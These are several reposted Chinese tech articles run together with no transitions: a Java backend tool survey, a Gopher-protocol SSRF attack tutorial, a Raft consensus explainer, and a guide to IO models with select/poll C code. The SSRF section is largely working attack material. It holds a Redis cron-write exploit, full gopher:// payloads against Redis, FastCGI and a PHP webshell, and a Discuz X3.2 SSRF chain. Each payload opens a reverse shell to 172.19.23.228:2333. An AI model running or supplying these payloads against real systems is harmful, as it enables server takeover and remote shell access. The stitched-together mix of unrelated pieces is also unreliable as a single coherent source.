[转]学完这100多技术,能当架构师么?

https://juejin.im/post/5d5375baf265da03b2152f3d

前几天,有个搞培训的朋友,和我要一份java后端的进阶路线图,我就把这篇文章发给了他《必看!java后端,亮剑诛仙》。今天,又想要个java后端目前最常用的工具和框架,正好我以前画过这样一张图,于是发给了他。虽然不是很全,但也希望得到他的夸奖。没想到…


本篇内容涵盖14个方面,涉及上百个框架和工具。会有你喜欢的,大概也会有你所讨厌的家伙。这是我平常工作中打交道最多的工具,大小公司都适用。如果你有更好的,欢迎留言补充。

一、消息队列
二、缓存
三、分库分表
四、数据同步
五、通讯
六、微服务
七、分布式工具
八、监控系统
九、调度
十、入口工具
十一、OLT(A)P
十二、CI/CD
十三、问题排查
十四、本地工具
复制代码

一、消息队列


一个大型的分布式系统,通常都会异步化,走消息总线。 消息队列作为最主要的基础组件,在整个体系架构中,有着及其重要的作用。kafka是目前最常用的消息队列,尤其是在大数据方面,有着极高的吞吐量。而rocketmq和rabbitmq,都是电信级别的消息队列,在业务上用的比较多。2019年了,不要再盯着JMS不放了(说的就是臃肿的ActiveMQ)。

pulsar是为了解决一些kafka上的问题而诞生的消息系统,比较年轻,工具链有限。有些激进的团队经过试用,反响不错。

mqtt具体来说是一种协议,主要用在物联网方面,能够双向通信,属于消息队列范畴。

二、缓存


数据缓存是减少数据库压力的有效途径,有单机java内缓存,和分布式缓存之分。

对于单机来说,guava的cache和ehcache都是些熟面孔。

对于分布式缓存来说,优先选择的就是redis,别犹豫。由于redis是单线程的,并不适合高耗时操作。所以对于一些数据量比较大的缓存,比如图片、视频等,使用老牌的memcached效果会好的多。

JetCache是一个基于Java的缓存系统封装,提供统一的api和注解来简化缓存的使用。类似SpringCache,支持本地缓存和分布式缓存,是简化开发的利器。

三、分库分表


分库分表,几乎每一个上点规模的公司,都会有自己的方案。目前,推荐使用驱动层的sharding-jdbc,或者代理层的mycat。如果你没有额外的运维团队,又不想花钱买其他机器,那么就选前者。

如果分库分表涉及的项目不多,spring的动态数据源是一个非常好的选择。它直接编码在代码里,直观但不易扩展。

如果只需要读写分离 ,那么mysql官方驱动里的replication协议,是更加轻量级的选择。

上面的分库分表组件,都是大浪淘沙,最终的优胜品。这些组件不同于其他组件选型,方案一旦确定,几乎无法回退,所以要慎之又慎。

分库分表是小case,准备分库分表的阶段,才是重点:也就是数据同步。

四、数据同步


国内使用mysql的公司居多,但postgresql凭借其优异的性能,使用率逐渐攀升。

不管什么数据库,实时数据同步工具,都是把自己模拟成一个从库,进行数据拉取和解析。 具体来说,mysql是通过binlog进行同步;postgresql使用wal日志进行同步。

对mysql来说,canal是国内用的最多的方案;类似的databus也是比较好用的工具。

现在,canal、maxwell等工具,都支持将要同步的数据写入到mq中,进行后续处理,方便了很多。

对于ETL(抽取、清洗、转换)来说,基本上都是source、task、sink路线,与前面的功能对应。gobblin、datax、logstash、sqoop等,都是这样的工具。

它们的主要工作,就是怎么方便的定义配置文件,编写各种各样的数据源适配接口等。这些ETL工具,也可以作为数据同步(尤其是全量同步)的工具,通常是根据ID,或者最后更新时间 等,进行处理。

binlog是实时增量工具,ETL工具做辅助。通常一个数据同步功能,需要多个组件的参与,他们共同组成一个整体。

五、通讯


Java 中,netty已经成为当之无愧的网络开发框架,包括其上的socketio(不要再和我提mina了)。对于http协议,有common-httpclient,以及更加轻量级的工具okhttp来支持。

对于一个rpc来说,要约定一个通讯方式和序列化方式。json是最常用的序列化方式,但是传输和解析成本大,xml等文本协议与其类似,都有很多冗余的信息;avro和kryo是二进制的序列化工具,没有这些缺点,但调试不便。

rpc是远程过程调用的意思 ,其中,thrift、dubbo、gRPC默认都是二进制序列化方式的socket通讯框架;feign、hessian都是onhttp的远程调用框架。

对了,gRPC的序列化工具是protobuf,一个压缩比很高的二进制序列化工具。

通常,服务的响应时间主要耗费在业务逻辑以及数据库上,通讯层耗时在其中的占比很小。可以根据自己公司的研发水平和业务规模来选择。

六、微服务


我们不止一次说到微服务,这一次我们从围绕它的一堆支持框架,来窥探一下这个体系。是的,这里依然是在说spring cloud。

默认的注册中心eureka不再维护,consul已经成为首选。nacos、zookeeper等,都可以作为备选方案。其中nacos带有后台,比较适合国人使用习惯。

熔断组件,官方的hystrix也已经不维护了。推荐使用resilience4j,最近阿里的sentinel也表现强劲。

对于调用链来说,由于OpenTracing的兴起,有了很多新的面孔。推荐使用jaeger或者skywalking。spring cloud集成的sleuth+zipkin功能稍弱,甚至不如传统侵入式的cat。

配置中心是管理多环境配置文件的利器,尤其在你不想重启服务器的情况下进行配置更新。目前,开源中做的最好的要数apollo,并提供了对spring boot的支持。disconf使用也较为广泛。相对来说,spring cloud config功能就局限了些,用的很少。


网关方面,使用最多的就是nginx,在nginx之上,有基于lua脚本的openrestry。由于openresty的使用非常繁杂,所以有了kong这种封装级别更高的网关。

对于spring cloud来说,zuul系列推荐使用zuul2,zuul1是多线程阻塞的,有硬伤。spring-cloud-gateway是spring cloud亲生的,但目前用的不是很广泛。

七、分布式工具


大家都知道分布式系统zookeeper能用在很多场景,与其类似的还有基于raft协议的etcd和consul。

由于它们能够保证极高的一致性,所以用作协调工具是再好不过了。用途集中在:配置中心、分布式锁、命名服务、分布式协调、master选举等场所。

对于分布式事务方面,则有阿里的fescar工具进行支持。但如非特别的必要,还是使用柔性事务,追寻最终一致性,比较好。

八、监控系统


监控系统组件种类繁多,目前,最流行的大概就是上面四类。

zabbix在主机数量不多的情况下,是非常好的选择。

prometheus来势凶猛,大有一统天下的架势。它也可以使用更加漂亮的grafana进行前端展示。

influxdata的influxdb和telegraf组件,都比较好用,主要是功能很全。

使用es存储的elkb工具链,也是一个较好的选择。我所知道的很多公司,都在用。

九、调度


大家可能都用过cron表达式。这个表达式,最初就是来自linux的crontab工具。

quartz是java中比较古老的调度方案,分布式调度采用数据库锁的方式,管理界面需要自行开发。

elastic-job-cloud应用比较广泛,但系统运维复杂,学习成本较高。相对来说,xxl-job就更加轻量级一些。中国人开发的系统,后台都比较漂亮。

十、入口工具


为了统一用户的访问路口,一般会使用一些入口工具进行支持。

其中,haproxy、lvs、keepalived等,使用非常广泛。

服务器一般采用稳定性较好的centos,并配备ansible工具进行支持,那叫一个爽。

十一、OLT(A)P


现在的企业,数据量都非常大,数据仓库是必须的。

搜索方面,solr和elasticsearch比较流行,它们都是基于lucene的。solr比较成熟,稳定性更好一些,但实时搜索方面不如es。

列式存储方面,基于Hadoop 的hbase,使用最是广泛;基于LSM的leveldb写入性能优越,但目前主要是作为嵌入式引擎使用多一些。

tidb是国产新贵,兼容mysql协议,公司通过培训向外输出dba,未来可期。

时序数据库方面,opentsdb用在超大型监控系统多一些。druid和kudu,在处理多维度数据实时聚合方面,更胜一筹。

cassandra在刚出现时火了一段时间,虽然有facebook弃用的新闻,但生态已经形成,常年霸占数据库引擎前15名。


十二、CI/CD


为了支持持续集成和虚拟化,除了耳熟能详的docker,我们还有其他工具。

jenkins是打包发布的首选,毕竟这么多年了,一直是老大哥。当然,写Idea的那家公司,还出了一个叫TeamCity的工具,操作界面非常流畅。

sonar(注意图上的错误)不得不说是一个神器,用了它之后,小伙伴们的代码一片飘红,我都快被吐沫星子给淹没了。

对于公司内部来说,一般使用gitlab搭建git服务器。其实,它里面的gitlab CI,也是非常好用的。

十三、问题排查


java经常发生内存溢出问题。使用jmap导出堆栈后,我一般使用mat进行深入分析。

如果在线上实时分析,有arthas和perf两款工具。

当然,有大批量的linux工具进行支持。比如下面这些:

《Linux上,最常用的一批命令解析(10年精选)》

十四、本地工具


本地使用的jar包和工具,那就多了去了。下面仅仅提一下最最常用的几个。

数据库连接池方面,国内使用druid最多。目前,有号称速度最快的hikari数据库连接池,以及老掉牙的dbcp和c3p0。

json方面,国内使用fastjson最多,三天两头冒出个漏洞;国外则使用jackson多一些。它们的api都类似,jackson特性多一些,但fastjson更加容易使用。

工具包方面,虽然有各种commons包,guava首选。

End

今天是2019年8月13日。台风利奇马刚刚肆虐完毕。

这种文章,每一年我都会整理一次。有些新面孔,也有些被我个人t出局。架构选型,除了你本身对某项技术比较熟悉,用起来更放心。更多的是需要进行大量调研、对比,直到掌握。

技术日新月异,新瓶装旧酒,名词一箩筐,程序员很辛苦。唯有那背后的基础原理,大道至简的思想,经久不衰。

作者:小姐姐味道
链接:https://juejin.im/post/5d5375baf265da03b2152f3d
来源:掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

 

[转]利用 Gopher 协议拓展攻击面

1 概述

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。

2 攻击面测试

2.1 环境

  • IP: 172.19.23.218
  • OS: CentOS 6

根目录下 1.php 内容为:

<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>

2.2 攻击内网 Redis

Redis 任意文件写入现在已经成为十分常见的一个漏洞,一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。
首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 是这样的:

redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save

利用这个脚本攻击自身并抓包得到数据流:
2016-05-31_14:59:35.jpg

改成适配于 Gopher 协议的 URL:

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

攻击:
2016-05-31_14:56:29.jpg

2.3 攻击 FastCGI

一般来说 FastCGI 都是绑定在 127.0.0.1 端口上的,但是利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
首先构造 exp:
2016-05-31_15:24:35.jpg

构造 Gopher 协议的 URL:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00

攻击:
2016-05-31_15:26:25.jpg

2.4 攻击内网 Vulnerability Web

Gopher 可以模仿 POST 请求,故探测内网的时候不仅可以利用 GET 形式的 PoC(经典的 Struts2),还可以使用 POST 形式的 PoC。
一个只能 127.0.0.1 访问的 exp.php,内容为:

<?php system($_POST[e]);?>  

利用方式:

POST /exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded

e=bash -i >%26 /dev/tcp/172.19.23.228/2333 0>%261

构造 Gopher 协议的 URL:

gopher://127.0.0.1:80/_POST /exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0a%0d%0ae=bash -i >%2526 /dev/tcp/172.19.23.228/2333 0>%25261null

攻击:
2016-05-31_15:19:17.jpg

3 攻击实例

3.1 利用 Discuz SSRF 攻击 FastCGI

Discuz X3.2 存在 SSRF 漏洞,当服务器开启了 Gopher wrapper 时,可以进行一系列的攻击。
首先根据 phpinfo 确定开启了 Gopher wrapper,且确定 Web 目录、PHP 运行方式为 FastCGI。
2016-06-02_10:06:00.jpg 2016-06-01_15:09:52.jpg
2016-06-02_10:06:52.jpg
测试 Gopher 协议是否可用,请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2fgopher.php%3Fa.jpg%5B%2fimg%5D

其中 gopher.php 内容为:

<?php
header("Location: gopher://127.0.0.1:2333/_test");
?>

监听 2333 端口,访问上述 URL 即可验证:
2016-06-02_10:09:42.jpg

构造 FastCGI 的 Exp:

<?php
header("Location: gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/127.0.0.1/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00");
?>

请求:

http://127.0.0.1:8899/forum.php?mod=ajax&action=downremoteimg&message=%5Bimg%3D1%2C1%5Dhttp%3A%2f%2f127.0.0.1%3A9999%2f1.php%3Fa.jpg%5B%2fimg%5D  

即可在 2333 端口上收到反弹的 shell:
2016-06-02_09:44:25.jpg

4 系统局限性

经过测试发现 Gopher 的以下几点局限性:

  • 大部分 PHP 并不会开启 fopen 的 gopher wrapper
  • file_get_contents 的 gopher 协议不能 URLencode
  • file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
  • PHP 的 curl 默认不 follow 302 跳转
  • curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用

更多有待补充。
另外,并不限于 PHP 的 SSRF。当存在 XXE、ffmepg SSRF 等漏洞的时候,也可以进行利用。

5 更多攻击面

基于 TCP Stream 且不做交互的点都可以进行攻击利用,包括但不限于:

  • HTTP GET/POST
  • Redis
  • Memcache
  • SMTP
  • Telnet
  • 基于一个 TCP 包的 exploit
  • FTP(不能实现上传下载文件,但是在有回显的情况下可用于爆破内网 FTP)

更多有待补充。

6 参考

Raft的理解

Feb 9, 2018

https://tinylcy.me/2018/Understanding-the-Raft-consensus-algorithm-One/

重新阅读了 Raft 论文,结合 John Ousterhout 在斯坦福大学的课程视频,对 Raft 重新梳理了一遍,并决定用文字记录下来。

Raft 是一个共识算法,何为共识算法?通俗的说,共识算法的目的就是要实现分布式环境下各个节点上数据达成一致。那么节点的数据为什么会出现不一致?原因有很多,例如节点宕机、网络延迟、数据包乱序等等。但是要注意的是,Raft 并不考虑存在恶意的节点的情况,也就是说,不存在主动篡改数据的节点。所以可以理解为:允许节点宕机,但是只要节点没有宕机,那么它就是正常工作的。

Slide 1

Raft 是为 Replicated Logs 设计的共识算法。一条日志对应于一个指令。可以这么理解:如果各个节点的日志在数量顺序都达成一致,那么节点只需顺序执行日志,就能够得到一致的结果。注意,真正执行日志的是状态机(State Machine),Raft 协调的正是日志和状态机。

Slide 2

再次回顾 Replicated Log,Raft 需要实现将日志完全一致的复制到其他节点,进而创建多副本状态机(Replicated State Machine),状态机可以理解为一个确定的应用程序,所谓确定是指只要是相同的输入,那么任何状态机都会计算出相同的输出。至于如何实现日志完全一致的复制,则是 Raft 即一致性模块(Consensus Module)需要做的事。

重新思考,为什么需要在多个节点维护一份完全一致的日志?如果只有 1 个节点提供服务,那么它就会成为整个系统的瓶颈,如果这个节点崩溃了,服务也就不能提供了。所以很自然的,需要让多个节点能够提供服务,也就是说,如果提供服务的某个节点崩溃了,系统中其他节点依旧可以提供等价的服务,但是如何做到等价?这就需要系统中的节点维持一致的状态。注意,实际上并不需要所有的节点同时拥有一致的状态,只要大多数节点拥有即可。大多数指的是:如果一共存在 3 个节点,允许 1 个节点不能正常工作;如果一共有 5 个节点,允许 2 个节点不能正常工作。为什么是大多数?我们将通过接下来的 Slides 进一步理解。

Slide 3

共识算法通常分为两类:对称式共识算法和非对称式共识算法。

  • 对称式共识算法指网络中不存在中心节点 Leader,所有的节点都具有相同的地位,节点与节点之间通过互相通信来达成共识,即网络拓扑结构类似 P2P 网络。可想而知,对称式类的共识协议会非常复杂,但是性能会更好,因为网络中的节点可以同时提供服务。
  • 非对称式共识算法会选举出一个 Leader,剩余的节点作为 Follower,客户端只能和 Leader 通信,节点之间的共识通过 Leader 来协调。相比于对称式共识算法,非对称式共识算法能够简化算法的设计,所有的操作都通过 Leader 完成,Follower 只需被动接受来自 Leader 的消息。

Raft 是一种非对称的共识算法,也正是采用了非对称的设计,Raft 得以将整个共识过程分解:共识算法正常运行和 Leader 变更

Slide 4

Raft 论文中多次强调 Raft 的设计是围绕算法的可理解性展开,我们将从六个部分对 Raft 进行理解。

  • Leader 选举,以及如何检测异常并进行新一轮的 Leader 选举。
  • 基本的日志复制操作,也就是 Raft 正常运行时的操作。
  • 在 Leader 发生变更时如何保证安全性和一致性,这是 Raft 算法最关键的部分。
  • 如何避免过时的 Leader 带来的影响,因为一个 Leader 宕机后再恢复仍然会认为自己是 Leader。
  • 客户端交互,所谓实现线性化语义可以理解为实现幂等性。
  • 配置变更,如何维持在线增删节点时的安全性和一致性。

Slide 5

Raft 算法有几个关键属性,我们需要提前了解。首先是节点的状态,相比于 Paxos,Raft 简化了节点可能的状态,在任何时候,节点可能处于以下三种状态。

  • Leader。Leader 负责处理客户端的请求,同时还需要协调日志的复制。在任意时刻,最多允许存在 1 个 Leader,也就是说,可能存在 0 个 Leader,什么时候会出现不存在 Leader 的情况?接下来会说明。
  • Follower。在 Raft 中,Follower 是一个完全被动的角色,Follower 只会响应消息。注意,在 Raft 中,节点之间的通信是通过 RPC 进行的。
  • Candidate。Candidate 是节点从 Follower 转变为 Leader 的过渡状态。因为 Follower 是一个完全被动的状态,所以当需要重新选举时,Follower 需要将自己提升为 Candidate,然后发起选举。

Raft 正常运行时只有一个 Leader,其余节点均为 Follower。

从状态转换图可以看到,所有的节点都是从 Follower 开始,如果 Follower 经过一段时间后收不到来自 Leader 的心跳,那么 Follower 就认为需要 Leader 已经崩溃了,需要进行新一轮的选举,因此 Follower 的状态变更为 Candidate。Candidate 有可能被选举为 Leader,也有可能回退为 Follower,具体情况下文会继续分析。如果 Leader 发现自己已经过时了,它会主动变更为 Follower,Leader 如何发现自己过时了?我们下文也会分析。

Slide 6

Raft 的另一个关键属性是任期(Term),在分布式系统中,由于节点的物理时间戳都不统一,因此需要一个逻辑时间戳来表明事件发生的先后顺序,Term 正是起到了逻辑时间戳的作用。Raft 的运行过程被划分为一系列 Term,一次 Leader 选举会开启一个新的 Term。

因为一次选举最多允许产生一个 Leader,一次选举又会开启一个新的 Term,所以每个 Leader 都会维护自己当前的 Term(Current Term)。注意,Leader 需要持久化存储 Current Term,当 Leader 宕机后再恢复,Leader 仍然会认为自己是 Leader,除非发现自己已经过时了,如何发现自己过时?依靠的正是 Current Term 的值。

一次 Term 也可能选不出 Leader,这是因为各个 Candidate 都获得了相同数量的选票,具体细节下文会再阐述。目前我们需要知道的是 Term 在 Raft 中是一个非常关键的属性,Term 始终保持单调递增,而 Raft 认为一个节点的 Term 越大,那么它所拥有的日志就越准确。

Slide 7

需要注意的是,Raft 有需要持久化存储的状态,包括 Current Term、VotedFor(下文会解析)和日志。每个日志项结构非常简单,包括日志所在 Term、Index 和状态机需要执行的指令。节点之间的 RPC 消息分为两类,一类为选举时的消息,另一类为 Raft 正常运行时的消息。具体细节我们会在下文理解。

Slide 8

Raft 中 Leader 和 Follower 之间需要通过心跳消息来维持关系,Follower 一旦在 Election Timeout 后没有收到来自 Leader 的心跳消息,那么 Follower 就认为 Leader 已经崩溃了,于是就发起一轮新的选举。在 Raft 中,心跳消息复用日志复制消息 AppendEntries 数据结构,只不过不携带任何日志。

Slide 9

现在开始正式理解 Raft 的选举过程,大部分内容已有所介绍,我们再梳理一遍。

当新的一轮选举开始时,Follower 首先要自增当前 Term,代表进入新的任期,紧接着变更状态为 Candidate,每个 Candidate 会先给自己投上一票,然后通过发送 RequestVote RPC 消息呼吁其他节点给自己投票。选举结果存在三种可能。

  • Candidate 收到了大多数节点的投票,那么 Candidate 自然就成为 Leader,然后马上发送心跳消息维护自己的 Leader 地位,并对外提供服务。
  • Candidate 在等待来自其他节点的选票的过程中收到了来自 Leader 的心跳消息,Candidate 可以看到当前的心跳消息中包含更新的 Term,就会意识到新的 Leader 已经被选举出来,于是就自降为 Follower。
  • 各个 Candidate 都获得了相同数量的选票,那么每个节点都会继续等待选票,没有新的 Leader 产生。等待一定的时间后,重新开启选举过程,直到选举出新的 Leader。

需要考虑的是 Raft 如何避免重复出现 Candidate 瓜分选票的情况:如果当前轮选举 Candidate 瓜分了选票,那么Candidate 会进入下一轮的选举,但是各个 Candidate 开始选举的时刻是随机的。

Slide 10

继续理解选举过程,选举过程需要保证两个特性:Safety 和 Liveness。

  • Safety 要求每个 Term 最多只能选举出一个 Leader,Raft 约束每个节点除了能给自己投一票,也给其他节点只能投一票。因此,如果 Candidate A 已经获得了大多数选票,由于每个节点只能向外投一票,因此 Candidate B 不可能获得大多数选票。Safety 特性保证一段时间内只可能存在一个 Leader 提供服务并协调日志的复制,避免因为存在多个 Leader 导致日志不一致。
  • Safety 保证在一段时间内最多只能存在一个 Leader,而 Liveness 保证系统最终必须要有要有一个 Candidate 赢得选举成为 Leader,Leader 无法选举出来意味着系统不能对外提供服务。Raft 实现 Liveness 的方式很简单,在 Slide 9 已经提及:当某一轮选举 Candidate 瓜分了选票,那么各个节点进入下一轮选举等待的时间是随机的,Candidate 随机等待 [T, 2T], T 为选举超时时间,这样就大大减少了再次瓜分选票的概率。

小结

对 Raft Leader 选举过程的理解基本结束,Raft 为了提高算法的可理解性,将问题分解,我们接下来会继续理解 Raft 的剩余部分。

[转]漫谈五种IO模型(主讲IO多路复用)

原文链接https://www.jianshu.com/p/6a6845464770

首先引用levin的回答让我们理清楚五种IO模型

1.阻塞I/O模型
老李去火车站买票,排队三天买到一张退票。
耗费:在车站吃喝拉撒睡 3天,其他事一件没干。

2.非阻塞I/O模型
老李去火车站买票,隔12小时去火车站问有没有退票,三天后买到一张票。耗费:往返车站6次,路上6小时,其他时间做了好多事。

3.I/O复用模型
1.select/poll
老李去火车站买票,委托黄牛,然后每隔6小时电话黄牛询问,黄牛三天内买到票,然后老李去火车站交钱领票。
耗费:往返车站2次,路上2小时,黄牛手续费100元,打电话17次
2.epoll
老李去火车站买票,委托黄牛,黄牛买到后即通知老李去领,然后老李去火车站交钱领票。
耗费:往返车站2次,路上2小时,黄牛手续费100元,无需打电话

4.信号驱动I/O模型
老李去火车站买票,给售票员留下电话,有票后,售票员电话通知老李,然后老李去火车站交钱领票。
耗费:往返车站2次,路上2小时,免黄牛费100元,无需打电话

5.异步I/O模型
老李去火车站买票,给售票员留下电话,有票后,售票员电话通知老李并快递送票上门。
耗费:往返车站1次,路上1小时,免黄牛费100元,无需打电话

1. I/O多路复用

1.1 它的形成原因

如果一个I/O流进来,我们就开启一个进程处理这个I/O流。那么假设现在有一百万个I/O流进来,那我们就需要开启一百万个进程一一对应处理这些I/O流(——这就是传统意义下的多进程并发处理)。思考一下,一百万个进程,你的CPU占有率会多高,这个实现方式及其的不合理。所以人们提出了I/O多路复用这个模型,一个线程,通过记录I/O流的状态来同时管理多个I/O,可以提高服务器的吞吐能力

1.2 通过它的英文单词来理解一下I/O多路复用

I/O multiplexing 也就是我们所说的I/O多路复用,但是这个翻译真的很不生动,所以我更喜欢将它拆开,变成 I/O multi plexing
multi意味着多,而plex意味着丛(丛:聚集,许多事物凑在一起。),那么字面上来看I/O multiplexing 就是将多个I/O凑在一起。就像下面这张图的前半部分一样,中间的那条线就是我们的单个线程,它通过记录传入的每一个I/O流的状态来同时管理多个IO。

multiplexing
1.3 I/O多路复用的实现
I/O多路复用模型

我们来分析一下上面这张图

  1. 当进程调用select,进程就会被阻塞
  2. 此时内核会监视所有select负责的的socket,当socket的数据准备好后,就立即返回。
  3. 进程再调用read操作,数据就会从内核拷贝到进程。

其实多路复用的实现有多种方式:select、poll、epoll

1.3.1 select实现方式

先理解一下select这个函数的形参都是什么

int select(int nfds, fd_set *readfds, fd_set *writefds,
fd_set *exceptfds, struct timeval *timeout);

  • nfds:指定待测试的描述子个数
  • readfds,writefds,exceptfds:指定了我们让内核测试读、写和异常条件的描述字
  • fd_set:为一个存放文件描述符的信息的结构体,可以通过下面的宏进行设置。

void FD_ZERO(fd_set *fdset);
//清空集合
void FD_SET(int fd, fd_set *fdset);
//将一个给定的文件描述符加入集合之中
void FD_CLR(int fd, fd_set *fdset);
//将一个给定的文件描述符从集合中删除
int FD_ISSET(int fd, fd_set *fdset);
// 检查集合中指定的文件描述符是否可以读写

  • timeout:内核等待指定的描述字中就绪的时间长度
  • 返回值:失败-1 超时0 成功>0
#define FILE "/dev/input/mouse0"
int main(void)
{
 int fd = -1;
 int sele_ret = -1;
 fd_set Fd_set;
 struct timeval time = {0};
 char buf[10] = {0};

 //打开设备文件
 fd = open(FILE, O_RDONLY);
 if (-1 == fd)
{
      perror("open error");
      exit(-1);
}

//构建多路复用IO
FD_ZERO(&Fd_set); //清除全部fd
FD_SET(0, &Fd_set); //添加标准输入
FD_SET(fd, &Fd_set); //添加鼠标
time.tv_sec = 10; //设置阻塞超时时间为10秒钟
time.tv_usec = 0; 

sele_ret = select(fd+1, &Fd_set, NULL, NULL, &time);
if (0 > sele_ret)
{
    perror("select error");
    exit(-1);
}
else if (0 == sele_ret)
{
    printf("无数据输入,等待超时.\n");
}
else
{
    if (FD_ISSET(0, &Fd_set)) //监听得到得到的结果若是键盘,则让去读取键盘的数据
{
    memset(buf, 0, sizeof(buf));
    read(0, buf, sizeof(buf)/2);
    printf("读取键盘的内容是: %s.\n", buf);
}

if (FD_ISSET(fd, &Fd_set)) //监听得到得到的结果若是鼠标,则去读取鼠标的数据
{
    memset(buf, 0, sizeof(buf));
    read(fd, buf, sizeof(buf)/2);
    printf("读取鼠标的内容是: %s.\n", buf);
}
}

//关闭鼠标设备文件
    close(fd);
    return 0;
}
1.3.2 poll实现方式

先理解一下poll这个函数的形参是什么

int poll(struct pollfd *fds, nfds_t nfds, int timeout);

  • pollfd:又是一个结构体
struct pollfd {
int fd; //文件描述符
short events; //请求的事件(请求哪种操作)
short revents; //返回的事件
};

后两个参数都与select的第一和最后一个参数概念一样,就不细讲了

  • 返回值:失败-1 超时0 成功>0
#define FILE "/dev/input/mouse0"

int main(void)
{
    int fd = -1;
    int poll_ret = 0;
    struct pollfd poll_fd[2] = {0};
    char buf[100] = {0};

    //打开设备文件
    fd = open(FILE, O_RDONLY);
    if (-1 == fd)
    {
        perror("open error");
        exit(-1);
    }

    //构建多路复用IO
    poll_fd[0].fd = 0; //键盘
    poll_fd[0].events = POLLIN; //定义请求的事件为读数据
    poll_fd[1].fd = fd; //鼠标
    poll_fd[1].events = POLLIN; //定义请求的事件为读数据
    int time = 10000; //定义超时时间为10秒钟

    poll_ret = poll(poll_fd, fd+1, time);
    if (0 > poll_ret)
    {
        perror("poll error");
        exit(-1);
    }
     else if (0 == poll_ret)
    {
        printf("阻塞超时.\n");
    }
    else
    {
        if (poll_fd[0].revents == poll_fd[0].events)
 //监听得到得到的结果若是键盘,则让去读取键盘的数据
        {
            memset(buf, 0, sizeof(buf));
            read(0, buf, sizeof(buf)/2);
            printf("读取键盘的内容是: %s.\n", buf);
        }

        if (poll_fd[1].revents == poll_fd[1].events) 
//监听得到得到的结果若是鼠标,则去读取鼠标的数据
        {
              memset(buf, 0, sizeof(buf));
              read(fd, buf, sizeof(buf)/2);
              printf("读取鼠标的内容是: %s.\n", buf);
        }
  }
//关闭文件
close(fd);
return 0;
}
1.3.3 epoll实现方式(太过复杂,为了不增加篇幅不放进来了)

epoll操作过程中会用到的重要函数

int epoll_create(int size);
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
  • int epoll_create(int size):创建一个epoll的句柄,size表示监听数目的大小。创建完句柄它会自动占用一个fd值,使用完epoll一定要记得close,不然fd会被消耗完。
  • int epoll_ctl:这是epoll的事件注册函数,和select不同的是select在监听的时候会告诉内核监听什么样的事件,而epoll必须在epoll_ctl先注册要监听的事件类型。
